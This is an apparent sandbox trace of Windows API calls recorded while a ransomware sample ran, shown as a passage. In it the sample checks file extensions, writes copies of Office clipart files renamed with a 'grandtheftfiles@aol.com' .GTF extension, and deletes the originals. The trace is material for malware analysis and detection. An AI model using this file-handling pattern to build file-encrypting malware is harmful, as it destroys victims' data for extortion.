	[0176.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68
	[0176.571] lstrlenW (lpString=".zip") returned 4
	[0176.571] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.571] lstrlenW (lpString=".rar") returned 4
	[0176.571] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.571] lstrlenW (lpString=".bz2") returned 4
	[0176.571] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.571] lstrlenW (lpString=".7z") returned 3
	[0176.571] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68
	[0176.571] lstrlenW (lpString=".dbf") returned 4
	[0176.571] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68
	[0176.571] lstrlenW (lpString=".1cd") returned 4
	[0176.571] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68
	[0176.572] lstrlenW (lpString=".jpg") returned 4
	[0176.572] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.572] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0176.572] lstrlenW (lpString="J0152698.WMF") returned 12
	[0176.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152698.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0176.647] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=1208) returned 1
	[0176.647] CloseHandle (hObject=0x374) returned 1
	[0176.647] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152698.wmf")) returned 0x220
	[0176.647] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152698.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0176.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152698.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0176.648] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.648] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152698.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0176.649] GetLastError () returned 0x0
	[0176.649] ReadFile (in: hFile=0x374, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x4b8, lpOverlapped=0x0) returned 1
	[0176.650] WriteFile (in: hFile=0x48c, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x4c0, lpOverlapped=0x0) returned 1
	[0176.651] ReadFile (in: hFile=0x374, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.651] WriteFile (in: hFile=0x48c, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0176.651] SetEndOfFile (hFile=0x48c) returned 1
	[0176.652] CloseHandle (hObject=0x48c) returned 1
	[0176.652] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.652] SetEndOfFile (hFile=0x374) returned 1
	[0176.655] CloseHandle (hObject=0x374) returned 1
	[0176.655] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0176.655] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152698.wmf")) returned 1
	[0176.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68
	[0176.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68
	[0176.656] lstrlenW (lpString=".doc") returned 4
	[0176.656] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.656] lstrlenW (lpString=".docx") returned 5
	[0176.656] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0176.656] lstrlenW (lpString=".pdf") returned 4
	[0176.656] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.656] lstrlenW (lpString=".xls") returned 4
	[0176.656] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.656] lstrlenW (lpString=".xlsx") returned 5
	[0176.656] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0176.656] lstrlenW (lpString=".ppt") returned 4
	[0176.656] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68
	[0176.656] lstrlenW (lpString=".zip") returned 4
	[0176.656] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.656] lstrlenW (lpString=".rar") returned 4
	[0176.656] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.657] lstrlenW (lpString=".bz2") returned 4
	[0176.657] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.657] lstrlenW (lpString=".7z") returned 3
	[0176.657] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68
	[0176.657] lstrlenW (lpString=".dbf") returned 4
	[0176.657] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68
	[0176.657] lstrlenW (lpString=".1cd") returned 4
	[0176.657] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68
	[0176.657] lstrlenW (lpString=".jpg") returned 4
	[0176.657] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68
	[0176.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68
	[0176.657] lstrlenW (lpString=".doc") returned 4
	[0176.657] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.657] lstrlenW (lpString=".docx") returned 5
	[0176.657] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0176.657] lstrlenW (lpString=".pdf") returned 4
	[0176.657] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.657] lstrlenW (lpString=".xls") returned 4
	[0176.657] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.657] lstrlenW (lpString=".xlsx") returned 5
	[0176.657] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0176.657] lstrlenW (lpString=".ppt") returned 4
	[0176.657] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68
	[0176.657] lstrlenW (lpString=".zip") returned 4
	[0176.657] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.657] lstrlenW (lpString=".rar") returned 4
	[0176.657] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.658] lstrlenW (lpString=".bz2") returned 4
	[0176.658] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.658] lstrlenW (lpString=".7z") returned 3
	[0176.658] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68
	[0176.658] lstrlenW (lpString=".dbf") returned 4
	[0176.658] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68
	[0176.658] lstrlenW (lpString=".1cd") returned 4
	[0176.658] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68
	[0176.658] lstrlenW (lpString=".jpg") returned 4
	[0176.658] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.658] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0176.658] lstrlenW (lpString="J0152708.WMF") returned 12
	[0176.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152708.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0176.659] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=4908) returned 1
	[0176.659] CloseHandle (hObject=0x374) returned 1
	[0176.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152708.wmf")) returned 0x220
	[0176.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152708.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0176.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152708.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0176.660] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.660] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152708.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0176.660] GetLastError () returned 0x0
	[0176.660] ReadFile (in: hFile=0x374, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x132c, lpOverlapped=0x0) returned 1
	[0176.662] WriteFile (in: hFile=0x48c, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x1330, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x1330, lpOverlapped=0x0) returned 1
	[0176.663] ReadFile (in: hFile=0x374, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.663] WriteFile (in: hFile=0x48c, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0176.663] SetEndOfFile (hFile=0x48c) returned 1
	[0176.664] CloseHandle (hObject=0x48c) returned 1
	[0176.664] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.664] SetEndOfFile (hFile=0x374) returned 1
	[0176.667] CloseHandle (hObject=0x374) returned 1
	[0176.667] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0176.667] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152708.wmf")) returned 1
	[0176.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68
	[0176.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68
	[0176.669] lstrlenW (lpString=".doc") returned 4
	[0176.669] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.669] lstrlenW (lpString=".docx") returned 5
	[0176.669] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0176.669] lstrlenW (lpString=".pdf") returned 4
	[0176.669] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.669] lstrlenW (lpString=".xls") returned 4
	[0176.669] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.669] lstrlenW (lpString=".xlsx") returned 5
	[0176.669] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0176.669] lstrlenW (lpString=".ppt") returned 4
	[0176.669] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68
	[0176.669] lstrlenW (lpString=".zip") returned 4
	[0176.669] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.669] lstrlenW (lpString=".rar") returned 4
	[0176.669] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.669] lstrlenW (lpString=".bz2") returned 4
	[0176.669] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.669] lstrlenW (lpString=".7z") returned 3
	[0176.669] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68
	[0176.669] lstrlenW (lpString=".dbf") returned 4
	[0176.669] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68
	[0176.669] lstrlenW (lpString=".1cd") returned 4
	[0176.669] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68
	[0176.669] lstrlenW (lpString=".jpg") returned 4
	[0176.670] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68
	[0176.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68
	[0176.670] lstrlenW (lpString=".doc") returned 4
	[0176.670] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.670] lstrlenW (lpString=".docx") returned 5
	[0176.670] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0176.670] lstrlenW (lpString=".pdf") returned 4
	[0176.670] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.670] lstrlenW (lpString=".xls") returned 4
	[0176.670] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.670] lstrlenW (lpString=".xlsx") returned 5
	[0176.670] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0176.670] lstrlenW (lpString=".ppt") returned 4
	[0176.670] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68
	[0176.670] lstrlenW (lpString=".zip") returned 4
	[0176.670] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.670] lstrlenW (lpString=".rar") returned 4
	[0176.670] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.670] lstrlenW (lpString=".bz2") returned 4
	[0176.670] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.670] lstrlenW (lpString=".7z") returned 3
	[0176.670] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68
	[0176.670] lstrlenW (lpString=".dbf") returned 4
	[0176.670] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68
	[0176.670] lstrlenW (lpString=".1cd") returned 4
	[0176.670] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68
	[0176.671] lstrlenW (lpString=".jpg") returned 4
	[0176.671] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.671] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0176.671] lstrlenW (lpString="J0152716.WMF") returned 12
	[0176.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152716.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0176.672] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=4580) returned 1
	[0176.672] CloseHandle (hObject=0x374) returned 1
	[0176.672] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152716.wmf")) returned 0x220
	[0176.672] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152716.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0176.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152716.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0176.673] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.673] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152716.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0176.674] GetLastError () returned 0x0
	[0176.674] ReadFile (in: hFile=0x374, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x11e4, lpOverlapped=0x0) returned 1
	[0176.676] WriteFile (in: hFile=0x48c, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x11f0, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x11f0, lpOverlapped=0x0) returned 1
	[0176.845] ReadFile (in: hFile=0x374, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.845] WriteFile (in: hFile=0x48c, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0176.845] SetEndOfFile (hFile=0x48c) returned 1
	[0176.845] CloseHandle (hObject=0x48c) returned 1
	[0176.845] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.845] SetEndOfFile (hFile=0x374) returned 1
	[0176.848] CloseHandle (hObject=0x374) returned 1
	[0176.848] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0177.017] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152716.wmf")) returned 1
	[0177.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68
	[0177.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68
	[0177.152] lstrlenW (lpString=".doc") returned 4
	[0177.152] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.152] lstrlenW (lpString=".docx") returned 5
	[0177.152] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0177.152] lstrlenW (lpString=".pdf") returned 4
	[0177.153] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.153] lstrlenW (lpString=".xls") returned 4
	[0177.153] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.153] lstrlenW (lpString=".xlsx") returned 5
	[0177.153] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0177.153] lstrlenW (lpString=".ppt") returned 4
	[0177.153] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68
	[0177.153] lstrlenW (lpString=".zip") returned 4
	[0177.153] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.153] lstrlenW (lpString=".rar") returned 4
	[0177.153] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.153] lstrlenW (lpString=".bz2") returned 4
	[0177.153] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.153] lstrlenW (lpString=".7z") returned 3
	[0177.153] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68
	[0177.153] lstrlenW (lpString=".dbf") returned 4
	[0177.153] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68
	[0177.153] lstrlenW (lpString=".1cd") returned 4
	[0177.153] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68
	[0177.153] lstrlenW (lpString=".jpg") returned 4
	[0177.153] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68
	[0177.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68
	[0177.153] lstrlenW (lpString=".doc") returned 4
	[0177.153] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.153] lstrlenW (lpString=".docx") returned 5
	[0177.153] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0177.153] lstrlenW (lpString=".pdf") returned 4
	[0177.154] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.154] lstrlenW (lpString=".xls") returned 4
	[0177.154] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.154] lstrlenW (lpString=".xlsx") returned 5
	[0177.154] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0177.154] lstrlenW (lpString=".ppt") returned 4
	[0177.154] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
